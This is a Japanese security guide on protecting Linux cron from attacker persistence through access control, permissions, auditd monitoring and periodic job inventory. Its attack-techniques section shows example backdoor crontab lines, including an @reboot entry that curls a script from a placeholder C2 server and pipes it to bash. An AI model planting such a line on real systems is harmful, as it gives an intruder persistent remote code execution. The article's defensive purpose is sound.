Linuxのcronセキュリティ対策｜攻撃者が悪用するジョブスケジューラの監視と権限管理ガイド

Linuxのcronを「ただのタスクスケジューラ」と思っていませんか。

侵入に成功した攻撃者が最初に手を伸ばす機能の一つが、まさにこのcronです。バックドアスクリプトを一度仕込んでしまえば、サーバーが再起動されようと管理者がセッションを切ろうと、悪意のあるコードが定期的に自動実行され続けます。「永続化」と呼ばれるこの手法は、高度な標的型攻撃から初歩的なスクリプト実行まで広く使われています。

この記事では、攻撃者がcronをどのように悪用するかを理解した上で、cron.allow/cron.denyによるアクセス制御・cronディレクトリの権限設定・auditdによる変更監視・定期的な棚卸し手順といった実践的な防御策を解説します。セキュリティ専任者がいない環境でも、明日から取り組めるレベルの内容にまとめました。

cronとは？なぜセキュリティ上の重要ポイントなのか

cron（クーロン）は、Linuxで特定のコマンドやスクリプトを決まった時刻・間隔で自動実行するジョブスケジューラです。バックアップ・ログローテーション・定期メンテナンスなど、インフラ運用の中核を担う機能として広く使われています。

Linuxのcron設定は、主に以下の場所に分散しています。

・/etc/crontab: システム全体のcron設定ファイル。実行ユーザーを指定できる
・/etc/cron.d/: パッケージがインストールするcron設定の置き場所
・/etc/cron.{hourly,daily,weekly,monthly}/: スクリプトを配置するだけで定期実行される
・/var/spool/cron/crontabs/: 各ユーザーがcrontab -eで設定したcronの保存場所

これらが問題になるのは、「root権限で動くcronが多い」「変更が検知されにくい」「再起動後も設定が生き続ける」という3つの特性があるためです。攻撃者にとっては「一度設置すれば自動で動き続けるバックドア」として非常に都合のいい仕組みになっています。

攻撃者がcronを悪用する手口（敵を知る）

防御を設計する前に、攻撃者の視点を押さえておきましょう。以下の手口は、実際のインシデント報告書やマルウェア解析レポートで繰り返し登場するものです。攻撃手法の解説はすべて防御のために行います。

1. バックドアスクリプトの自動実行（永続化）

WebサーバーやSSHの不正ログインで侵入した攻撃者は、次のような形でcronにバックドアを登録することがあります。

# 例：毎分バックドアスクリプトを実行（ファイル名をシステム風に偽装）
* * * * * /tmp/.cache_sync.sh

# 例：再起動ごとにC2サーバーから命令を取得して実行
@reboot curl -s http://[C2サーバーIP]/stage2.sh | bash

/tmpはほとんどのLinuxで書き込み可能なため、マルウェアの置き場として悪用されやすい場所です。ファイル名をシステムコマンド風（.cache_sync、.update_check等）に偽装することで、管理者の目を欺こうとします。

2. rootのcrontabへの直接書き換え

ローカル特権昇格の脆弱性を悪用してroot権限を取得した後、/var/spool/cron/crontabs/rootを直接書き換えるケースがあります。このファイルに悪意のあるコマンドを追記するだけで、以降はroot権限でコードが自動実行され続けます。定期的にこのファイルの内容を確認することが重要です。

3. /etc/cron.d/やスクリプトディレクトリへのファイル設置

/etc/cron.d/に新しいファイルを作成するだけで、追加のcron設定を読み込ませることができます。/etc/cron.daily/に実行権限付きのスクリプトを置けば毎日自動実行されます。これらのディレクトリへの書き込み権限が適切に設定されていないと、低権限ユーザーでも悪用できる場合があります。

4. cronを使ったC2通信の維持

定期的にC2サーバー（攻撃者の指令サーバー）に接続し、コマンドを取得して実行するスクリプトをcronに仕込む手口です。1分ごとに外部へ通信するように設定されていても「単なるcronジョブ」に見えるため見逃されやすく、気づいたころには長期間の侵害が続いていたというケースもあります。

攻撃者の手口を理解することは、防御を設計するための土台です。「自分のサーバーのcronを悪用されたら何ができるか」を意識しながら、次の防御手順を読んでください。

具体的な防御手順

1. cron.allow/cron.denyでユーザーのcron使用を制限する

crontabコマンドを使用できるユーザーを限定するには、以下の2ファイルを活用します。

・/etc/cron.allow: このファイルが存在する場合、記載されたユーザーだけがcrontabを使用できる
・/etc/cron.deny: このファイルが存在する場合、記載されたユーザーがcrontabを使用できない

優先順位はcron.allowが上です。cron.allowが存在する場合、cron.denyは無視されます。最も安全な設定は、/etc/cron.allowにrootのみを記載することです。

# /etc/cron.allowを作成し、rootのみ許可
echo "root" > /etc/cron.allow
chmod 640 /etc/cron.allow
chown root:root /etc/cron.allow

# 設定確認
cat /etc/cron.allow

この設定後は、root以外のユーザーがcrontab -eを実行しようとすると「You are not allowed to use this program (username)」というエラーで弾かれます。アプリケーション用のユーザーがcronを必要とする場合は、そのユーザー名のみcron.allowに追記してください。

2. cronディレクトリとファイルの権限を確認・修正する

/etc/cron.d/や/etc/cron.daily/などのディレクトリとファイルが、適切な権限で保護されているか確認します。

# cronディレクトリとファイルの権限確認
stat /etc/crontab
stat /etc/cron.d/
stat /etc/cron.daily/
stat /etc/cron.weekly/
stat /etc/cron.monthly/
stat /etc/cron.hourly/

推奨される権限設定は以下のとおりです。

修正が必要な場合は以下を実行します。

chmod 600 /etc/crontab
chmod 700 /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
chown root:root /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly

ディレクトリ内のスクリプトファイルについても確認が必要です。/etc/cron.daily/配下のスクリプトがrootまたはgroupとして書き込み可能になっていると、権限昇格攻撃の踏み台にされる恐れがあります。スクリプトファイル単体には644や755（所有者のみ書き込み可）を推奨します。

3. auditdでcrontabの変更を監視する

auditd（Linuxの監査デーモン）を使うと、cron設定ファイルへの変更を記録することができます。攻撃者がcronに何かを仕込んだとしても、auditdのログを見れば「いつ・誰が・どのファイルに書き込んだか」を追跡できます。

# auditdが稼働しているか確認
systemctl status auditd

稼働していれば、cronに関連するファイルの変更を監視するルールを追加します。

# /etc/audit/rules.d/cron-watch.rulesを作成して監視ルールを追加
cat >> /etc/audit/rules.d/cron-watch.rules << 'EOF'
-w /etc/crontab -p wa -k cron_modification
-w /etc/cron.d/ -p wa -k cron_modification
-w /etc/cron.daily/ -p wa -k cron_modification
-w /etc/cron.weekly/ -p wa -k cron_modification
-w /etc/cron.monthly/ -p wa -k cron_modification
-w /etc/cron.hourly/ -p wa -k cron_modification
-w /var/spool/cron/ -p wa -k cron_modification
EOF

# ルールを反映してauditdを再起動
augenrules --load
systemctl restart auditd

変更があった際は以下のコマンドで確認できます。

# cron変更ログの確認
ausearch -k cron_modification | aureport -i

出力に見覚えのないユーザー名や時刻が含まれている場合は、インシデントとして調査してください。

4. 全cronジョブを棚卸しするスクリプトを定期実行する

全ユーザーのcronジョブとシステムのcron設定を一覧表示するスクリプトです。定期的に実行して、見覚えのないジョブが追加されていないか確認するためのベースライン管理に使います。

#!/bin/bash
# cron棚卸しスクリプト（定期実行推奨）

echo "=== /etc/crontab ==="
cat /etc/crontab

echo ""
echo "=== /etc/cron.d/* ==="
for f in /etc/cron.d/*; do
  echo "--- $f ---"
  cat "$f"
done

echo ""
echo "=== スクリプトディレクトリ一覧 ==="
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

echo ""
echo "=== ユーザーcrontab一覧 ==="
for user in $(cut -f1 -d: /etc/passwd); do
  crontab_entry=$(crontab -u "$user" -l 2>/dev/null)
  if [ -n "$crontab_entry" ]; then
    echo "--- $user ---"
    echo "$crontab_entry"
  fi
done

このスクリプトを週次でcronから実行し、出力をメールで管理者に送る仕組みにしておくと変化に気づきやすくなります。初回実行の出力をどこかに保存しておき、次回実行時のdiffを取る運用が特に有効です。

中小企業でも今日からできること

セキュリティ専任者がいない環境でも、cronのリスクを減らすためにすぐ取り組めることがあります。

・cron.allowを作成してrootのみに限定する: 最も効果の大きい設定です。アプリ用ユーザーでcronが必要な場合はそのユーザーのみ追記します
・cronディレクトリのパーミッションを確認する: 700に設定されていることをstatコマンドで確認するだけなら5分かかりません
・現状のcronジョブを棚卸しする: 棚卸しスクリプトを一度実行し、現在のcronジョブを記録しておきます。これがベースラインになります
・auditdでcronを監視対象に追加する: auditdが既に動いているサーバーであれば、監視ルールの追加は数分でできます
・/tmpにnoexecマウントオプションを設定する: /tmpに置かれたスクリプトの直接実行を防ぎます

一度に全部やる必要はありません。まずcron.allowの設定と現状の棚卸しから始めてください。それだけで、最も基本的な攻撃経路の一つを塞ぐことができます。

よくある誤解と注意点

【注意】「rootしかcronを使っていないから安全」という誤解

rootしかcronを使っていないサーバーでも、cronディレクトリやスクリプトの権限設定が甘ければリスクがあります。攻撃者が権限昇格に成功した後、rootとして動くcron設定を書き換える可能性があるためです。「誰がcronを設定するか」だけでなく、「cronの設定ファイルがどれだけ守られているか」も同時に管理する必要があります。

【注意】systemdタイマーユニットも忘れずに確認する

RHEL 7以降のCentOS・AlmaLinux・RockyLinux、Ubuntu 16.04以降では、cronの代替としてsystemd.timerが使われるケースが増えています。cronジョブの監視だけでなく、systemdのタイマーユニットも定期的に確認してください。

# 有効なsystemdタイマーユニットを一覧表示
systemctl list-timers --all

見覚えのないタイマーユニットが有効になっている場合は、そのユニットファイルの中身と作成日時を確認してください。

【注意】atコマンドも攻撃者が悪用するケースがある

cronと同様に、atコマンド（指定した時刻に1回だけコマンドを実行する機能）も悪用されることがあります。/etc/at.allowや/etc/at.denyでアクセス制御ができ、設定方法はcron.allow/cron.denyと同様です。cron.allowを整備するタイミングで、at.allowも併せて設定しておきましょう。

本記事のまとめ

cronは日々の運用に欠かせない機能ですが、適切に管理されていないと攻撃者の「永続化の足場」になります。

攻撃者は「管理者が日常的に確認していない場所」を狙います。cronのような「当たり前に動いているもの」こそ、定期的に見直すことが重要です。

Linuxのセキュリティ設定は、一つひとつの対策が積み重なって多層防御を形成します。ファイルパーミッション・auditd・PAMなどの関連設定については、姉妹サイトLinuxMaster.JPでも詳しく解説しています。